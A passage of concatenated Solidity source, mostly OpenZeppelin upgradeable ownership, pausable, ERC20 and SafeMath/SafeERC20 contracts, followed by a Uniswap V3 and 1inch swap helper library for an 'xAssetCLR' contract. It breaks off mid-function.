__Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol"; import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol"; import "@uniswap/v3-periphery/contracts/interfaces/IQuoter.sol"; import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "@uniswap/v3-core/contracts/libraries/TickMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ABDKMath64x64.sol"; import "./Utils.sol"; /** * Helper library for Uniswap functions * Used in xAssetCLR */ library UniswapLibrary { using SafeMath for uint256; using SafeERC20 for IERC20; uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18; uint256 private constant SWAP_SLIPPAGE = 50; // 2% uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1% // 1inch v3 exchange address address private constant oneInchExchange = 0x11111112542D85B3EF69AE05771c2dCCff4fAa26; struct TokenDetails { address token0; address token1; uint256 token0DecimalMultiplier; uint256 token1DecimalMultiplier; uint256 tokenDiffDecimalMultiplier; uint8 token0Decimals; uint8 token1Decimals; } struct PositionDetails { uint24 poolFee; uint32 twapPeriod; uint160 priceLower; uint160 priceUpper; uint256 tokenId; address positionManager; address router; address quoter; address pool; } struct AmountsMinted { uint256 amount0ToMint; uint256 amount1ToMint; uint256 amount0Minted; uint256 amount1Minted; } /* ========================================================================================= */ /* Uni V3 Pool Helper functions */ /* ========================================================================================= */ /** * @dev Returns the current pool price in X96 notation */ function getPoolPrice(address _pool) public view returns (uint160) { IUniswapV3Pool pool = IUniswapV3Pool(_pool); (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return sqrtRatioX96; } /** * Get pool price in decimal notation with 12 decimals */ function getPoolPriceWithDecimals(address _pool) public view returns (uint256 price) { uint160 sqrtRatioX96 = getPoolPrice(_pool); return uint256(sqrtRatioX96).mul(uint256(sqrtRatioX96)).mul(1e12) >> 192; } /** * @dev Returns the current pool liquidity */ function getPoolLiquidity(address _pool) public view returns (uint128) { IUniswapV3Pool pool = IUniswapV3Pool(_pool); return pool.liquidity(); } /** * @dev Calculate pool liquidity for given token amounts */ function getLiquidityForAmounts( uint256 amount0, uint256 amount1, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint128 liquidity) { liquidity = LiquidityAmounts.getLiquidityForAmounts( getPoolPrice(pool), priceLower, priceUpper, amount0, amount1 ); } /** * @dev Calculate token amounts for given pool liquidity */ function getAmountsForLiquidity( uint128 liquidity, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity( getPoolPrice(pool), priceLower, priceUpper, liquidity ); } /** * @dev Calculates the amounts deposited/withdrawn from the pool * @param amount0 - token0 amount to deposit/withdraw * @param amount1 - token1 amount to deposit/withdraw */ function calculatePoolMintedAmounts( uint256 amount0, uint256 amount1, uint160 priceLower, uint160 priceUpper, address pool ) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount = getLiquidityForAmounts( amount0, amount1, priceLower, priceUpper, pool ); (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount, priceLower, priceUpper, pool ); } /** * @dev Get asset 0 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset0Price( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (int128) { uint32[] memory secondsArray = new uint32[](2); // get earliest oracle observation time IUniswapV3Pool poolImpl = IUniswapV3Pool(pool); uint32 observationTime = getObservationTime(poolImpl); uint32 currTimestamp = uint32(block.timestamp); uint32 earliestObservationSecondsAgo = currTimestamp - observationTime; if ( twapPeriod == 0 || !Utils.lte( currTimestamp, observationTime, currTimestamp - twapPeriod ) ) { // set to earliest observation time if: // a) twap period is 0 (not set) // b) now - twap period is before earliest observation secondsArray[0] = earliestObservationSecondsAgo; } else { secondsArray[0] = twapPeriod; } secondsArray[1] = 0; (int56[] memory prices, ) = poolImpl.observe(secondsArray); int128 twap = Utils.getTWAP(prices, secondsArray[0]); if (token1Decimals > token0Decimals) { // divide twap by token decimal difference twap = ABDKMath64x64.mul( twap, ABDKMath64x64.divu(1, tokenDiffDecimalMultiplier) ); } else if (token0Decimals > token1Decimals) { // multiply twap by token decimal difference int128 multiplierFixed = ABDKMath64x64.fromUInt(tokenDiffDecimalMultiplier); twap = ABDKMath64x64.mul(twap, multiplierFixed); } return twap; } /** * @dev Get asset 1 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset1Price( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (int128) { return ABDKMath64x64.inv( getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ) ); } /** * @dev Returns amount in terms of asset 0 * @dev amount * asset 1 price */ function getAmountInAsset0Terms( uint256 amount, address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (uint256) { return ABDKMath64x64.mulu( getAsset1Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ), amount ); } /** * @dev Returns amount in terms of asset 1 * @dev amount * asset 0 price */ function getAmountInAsset1Terms( uint256 amount, address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier ) public view returns (uint256) { return ABDKMath64x64.mulu( getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ), amount ); } /** * @dev Returns the earliest oracle observation time */ function getObservationTime(IUniswapV3Pool _pool) public view returns (uint32) { IUniswapV3Pool pool = _pool; (, , uint16 index, uint16 cardinality, , , ) = pool.slot0(); uint16 oldestObservationIndex = (index + 1) % cardinality; (uint32 observationTime, , , bool initialized) = pool.observations(oldestObservationIndex); if (!initialized) (observationTime, , , ) = pool.observations(0); return observationTime; } /** * @dev Checks if twap deviates too much from the previous twap * @return current twap */ function checkTwap( address pool, uint32 twapPeriod, uint8 token0Decimals, uint8 token1Decimals, uint256 tokenDiffDecimalMultiplier, int128 lastTwap, uint256 maxTwapDeviationDivisor ) public view returns (int128) { int128 twap = getAsset0Price( pool, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); int128 _lastTwap = lastTwap; int128 deviation = _lastTwap > twap ? _lastTwap - twap : twap - _lastTwap; int128 maxDeviation = ABDKMath64x64.mul( twap, ABDKMath64x64.divu(1, maxTwapDeviationDivisor) ); require(deviation <= maxDeviation, "Wrong twap"); return twap; } /* ========================================================================================= */ /* Uni V3 Swap Router Helper functions */ /* ========================================================================================= */ /** * @dev Swap token 0 for token 1 in xAssetCLR contract * @dev amountIn and amountOut should be in 18 decimals always * @dev amountIn and amountOut are in token 0 terms */ function swapToken0ForToken1( uint256 amountIn, uint256 amountOut, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 _amountOut) { uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool); amountOut = amountOut.mul(midPrice).div(1e12); uint256 token0Balance = getBufferToken0Balance( IERC20(tokenDetails.token0), tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); require( token0Balance >= amountIn, "Swap token 0 for token 1: not enough token 0 balance" ); amountIn = getToken0AmountInNativeDecimals( amountIn, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); amountOut = getToken1AmountInNativeDecimals( amountOut, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); uint256 amountOutExpected = IQuoter(positionDetails.quoter).quoteExactInputSingle( tokenDetails.token0, tokenDetails.token1, positionDetails.poolFee, amountIn, TickMath.MIN_SQRT_RATIO + 1 ); if (amountOutExpected < amountOut) { amountOut = amountOutExpected; } ISwapRouter(positionDetails.router).exactOutputSingle( ISwapRouter.ExactOutputSingleParams({ tokenIn: tokenDetails.token0, tokenOut: tokenDetails.token1, fee: positionDetails.poolFee, recipient: address(this), deadline: block.timestamp, amountOut: amountOut, amountInMaximum: amountIn, sqrtPriceLimitX96: TickMath.MIN_SQRT_RATIO + 1 }) ); return amountOut; } /** * @dev Swap token 1 for token 0 in xAssetCLR contract * @dev amountIn and amountOut should be in 18 decimals always * @dev amountIn and amountOut are in token 1 terms */ function swapToken1ForToken0( uint256 amountIn, uint256 amountOut, PositionDetails memory positionDetails, TokenDetails memory tokenDetails ) public returns (uint256 _amountIn) { uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool); amountOut = amountOut.mul(1e12).div(midPrice); uint256 token1Balance = getBufferToken1Balance( IERC20(tokenDetails.token1), tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); require( token1Balance >= amountIn, "Swap token 1 for token 0: not enough token 1 balance" ); amountIn = getToken1AmountInNativeDecimals( amountIn, tokenDetails.token1Decimals, tokenDetails.token1DecimalMultiplier ); amountOut = getToken0AmountInNativeDecimals( amountOut, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); uint256 amountOutExpected = IQuoter(positionDetails.quoter).quoteExactInputSingle( tokenDetails.token1, tokenDetails.token0, positionDetails.poolFee, amountIn, TickMath.MAX_SQRT_RATIO - 1 ); if (amountOutExpected < amountOut) { amountOut = amountOutExpected; } ISwapRouter(positionDetails.router).exactOutputSingle( ISwapRouter.ExactOutputSingleParams({ tokenIn: tokenDetails.token1, tokenOut: tokenDetails.token0, fee: positionDetails.poolFee, recipient: address(this), deadline: block.timestamp, amountOut: amountOut, amountInMaximum: amountIn, sqrtPriceLimitX96: TickMath.MAX_SQRT_RATIO - 1 }) ); return amountIn; } /* ========================================================================================= */ /* 1inch Swap Helper functions */ /* ========================================================================================= */ /** * @dev Swap tokens in xAssetCLR using 1inch v3 exchange * @param minReturn - required min amount out from swap, in 18 decimals * @param _0for1 - swap token0 for token1 if true, token1 for token0 if false * @param tokenDetails - xAssetCLR token 0 and token 1 details * @param _oneInchData - One inch calldata, generated off-chain from their v3 api for the swap */ function oneInchSwap( uint256 minReturn, bool _0for1, TokenDetails memory tokenDetails, bytes memory _oneInchData ) public { uint256 token0AmtSwapped; uint256 token1AmtSwapped; bool success; // inline code to prevent stack too deep errors { IERC20 token0 = IERC20(tokenDetails.token0); IERC20 token1 = IERC20(tokenDetails.token1); uint256 balanceBeforeToken0 = token0.balanceOf(address(this)); uint256 balanceBeforeToken1 = token1.balanceOf(address(this)); (success, ) = oneInchExchange.call(_oneInchData); require(success, "One inch swap call failed"); uint256 balanceAfterToken0 = token0.balanceOf(address(this)); uint256 balanceAfterToken1 = token1.balanceOf(address(this)); token0AmtSwapped = subAbs(balanceAfterToken0, balanceBeforeToken0); token1AmtSwapped = subAbs(balanceAfterToken1, balanceBeforeToken1); } uint256 amountInSwapped; uint256 amountOutReceived; if (_0for1) { amountInSwapped = getToken0AmountInWei( token0AmtSwapped, tokenDetails.token0Decimals, tokenDetails.token0DecimalMultiplier ); amountOutReceived = 